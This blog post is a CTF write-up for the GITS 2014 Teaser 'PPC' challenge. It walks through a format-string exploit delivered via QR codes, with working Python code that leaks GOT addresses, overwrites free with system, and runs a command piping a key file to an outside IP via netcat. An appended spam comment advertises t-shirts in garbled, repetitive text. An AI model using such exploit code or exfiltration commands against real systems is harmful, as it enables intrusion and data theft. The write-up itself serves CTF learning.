GITS 2014 Teaser – PPC

Find the key. (File)
PPC running at ppc.2014.ghostintheshellcode.com:10000.

Summary: format string vuln, communication via qrcodes

The code is rather straightforward. It reads packed width/height of the image, receives image with colors converted to bits (instead of 0-255 values) and packed to bytes (each byte = 8 pixels of the image). Then it reads QRCodes from it and calls fprintf on each message. Here’s this part of code:

for ( i = zbar_image_first_symbol(0, &result_buf[v4]); i; i = zbar_symbol_next(i) )
{
  symbol_ptr = (char *)zbar_symbol_get_data(i);
  symbol_len = zbar_symbol_get_data_length(i);
  some_magic(result_buf, 32, symbol_ptr, symbol_len);
  fprintf(fd, result_buf);
}

There’s some_magic function which does some conversion and after looking closer it’s easy to see it’s actually base64decode. You can hope so until you find that it contains some mistakes:

  • buffer is zeroed only before reading the whole image, not each symbol and each 2,3 bytes are OR’ed with new data
  • the last byte (32nd) is decoded only partially – low 4 bits are always zeroes

That means we can’t easily use more than one qrcode in single image (we can use it only if the second value can be got by OR’ing the first with something) and that we have only 31 byte for formatstring.

Let’s first find argument number which points to our buffer. I used libformatstr for that:

import qrcode
from base64 import b64encode
from struct import pack
 
from sock import *
from libformatstr import *
 
 
def make_qr_data(s):
    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=8,
        border=4,
    )
    qr.add_data(b64encode(s))
    qr.make(fit=True)
 
    img = qr.make_image()._img
    w, h = img.size
 
    acc = res = ""
    for x in img.getdata():
        acc += str(x / 128)
        if len(acc) >= 8:
            res += chr(int(acc, 2))
            acc = ""
    if (w * h) & 7:
        res += "\xff"
    return pack("<2I", w, h) + res
 
 
def do_fmt(fmt):
    f = Sock("ppc.2014.ghostintheshellcode.com:10000", timeout=100)
    f.read_one()
    f.send("PPC\x00PPC\x00")
    # network problems
    for i in range(10):
        f.send(make_qr_data(fmt))
    return f.read_one()
 
 
for i in range(0, 100, 3):
    s = make_pattern(30, start_index=i) + "\n"
 
    res = do_fmt(s)
    res = res[:res.find("\n")]
    print i, `res`
    try:
        argnum, padding = guess_argnum(res, 30, start_index=i)
        print argnum, padding
        break
    except:
        pass

Result: argument number is 18.

It’s also easy to leak saved ebp and return address:

res = do_fmt("%33$08x:%34$08x:%35$08x\n")
print res

Result: bfc1a608:b77e9100:00000004.

Return address is 0xb77e9100, we know that should be return to serving function:

.text:000010FE                 call    eax
.text:00001100                 mov     [ebp+status], eax

So now we know image base (b77e8000), we know address of GOT entries. Let’s dump it:

base = 0xb77e9100 - 0x1100
got = base + 0x4000
 
res = do_fmt("%22$s".ljust(16, "|") + pack("<I", got) + "\n")
for addr in unpack("<4I", res[:16]):
    print hex(addr)

Result:

0xb76d56d0
0xb769b620
0xb779c0a0
0xb77e8b36

This addresses help us to identify libc, so we can calculate system address:

$ objdump -d libc.so | grep 'setsockopt>:'
000ec6d0 <setsockopt>:
$ objdump -d libc.so | grep 'system>:'
0003d170 <__libc_system>:

We will overwrite free@got with system, so we’ll get system(our_data):

ptr = byte_buf;
nread = read_all(fd, byte_buf, size);
if ( nread != size )
{
  free(ptr);
  result = 0;
  goto LABEL_30;
}

But there’s one problem.. We can’t use overwrite with two stages (images), because free is called between images, and this call will be corrupted. But straightforward overwrite takes 34 bytes:

got_free = got + 0x1c
libc = 0xb76d56d0 - 0x000ec6d0
system = libc + 0x0003d170
 
s = pack("<I", got_free)
s += pack("<I", got_free + 2)
s += "%" + str((system & 0xffff) - 8) + "c"
s += "%18$hn"
s += "%" + str((system >> 16) - (system & 0xffff)) + "c"
s += "%19$hn"
print len(s), `s`
# 34 bytes

We’ve managed to shrink it to 32 bytes, but because of the mistake in base64decode we need no more than 31 byte (or 32nd byte with zeroed lower bits).

But let’s allow us to make format string larger: there’s no explicit null termination, so we can extend our format string on the stack! Easier, we can save addresses to overwrite there, so the format string will be small enough itself:

sebp_serve = 0xbfc1a608
# serve stack frame: 0x24 + saved ebx (4) = 0x28
# sebp + retaddr = 8
ebp = sebp_serve - 0x28 - 0x8
ext_addr = ebp - 0x1c
 
f = Sock("ppc.2014.ghostintheshellcode.com:10000", timeout=100)
f.read_one()
f.send("PPC\x00PPC\x00")
 
# put addresses on stack
ext = pack("<I", got_free) + pack("<I", got_free + 2)
for i in range(0, len(ext), 2):
    word = ext[i:i+2]
    s = pack("<I", ext_addr + i)
    s += "%" + str(unpack("<H", word)[0] - 4) + "c"
    s += "%18$hn\n\x00"
    f.send(make_qr_data(s))
 
# overwrite free to system
s = ""
s = "%" + str((system & 0xffff)) + "c"
s += "%26$hn"
s += "%" + str((system >> 16) - (system & 0xffff)) + "c"
s += "%27$hn\n"
f.send(make_qr_data(s))
 
# trigger free(cmd)
CMD = "cat /home/PPC/key | nc -vn 74.125.143.102 3123; #\x00"
for i in range(10):
    f.send(pack("<2I", 32, 16) + CMD.ljust(32 * 16 / 8))

Flag: 2011CTFMemesMadeNewAgain

PS: because of bug in read_all, if your pictures are not landing in one recv call, your format string won’t be called. So this exploit can be unreliable due to network issues.

1 comment

  1. is quite a bit more room to slip every one of the details about the shirt.If you are likely to have your band, wear the computer screen printing tee shirt that will be engaging in.If you will have volleyball including a pool, entice people to come basic details.But above all, make sure that must be known that you’ll be the birthday bash girl as well as birthday child and this is usually a special day that you choose to deserve.Tee tshirts also allow you to be far even more creative is quite a bit more room to slip every one of the details about the shirt.If you are likely to have your band, wear the computer screen printing tee shirt that will be engaging in.If you will have volleyball including a pool, entice people to come basic details.But above all, make sure that must be known that you’ll be the birthday bash girl as well as birthday child and this is usually a special day that you choose to deserve.Tee tshirts also allow you to be far even more creative compared to a simple celebration invitation by unit card.If there will likely be a piece performing in your birthday blowout, put an image of any band within the shirt utilizing their logo.In case you are looking to undertake a beach style party, develop a shirt stuffed with color along with palm trees and sand to build the pleasurable.You more than likely fear the fact that having custom t-shirts made just by a house party will likely be expensive, but that is definitely where you stand wrong.Screen printing tee shirts are very cheap at cheaptees.org and so are cheaper better you buy.It is actually a deal which usually nobody can miss making the idea a simply no brain choice to distribute off your special birthday invitations at a tee t-shirt.How often can you receive personal gift invites on t-shirts? Probably under no circumstances.And that is definitely exactly why you should make a person’s birthday someone to remember by using a custom tee shirt invite..

Leave a Reply

Your email address will not be published.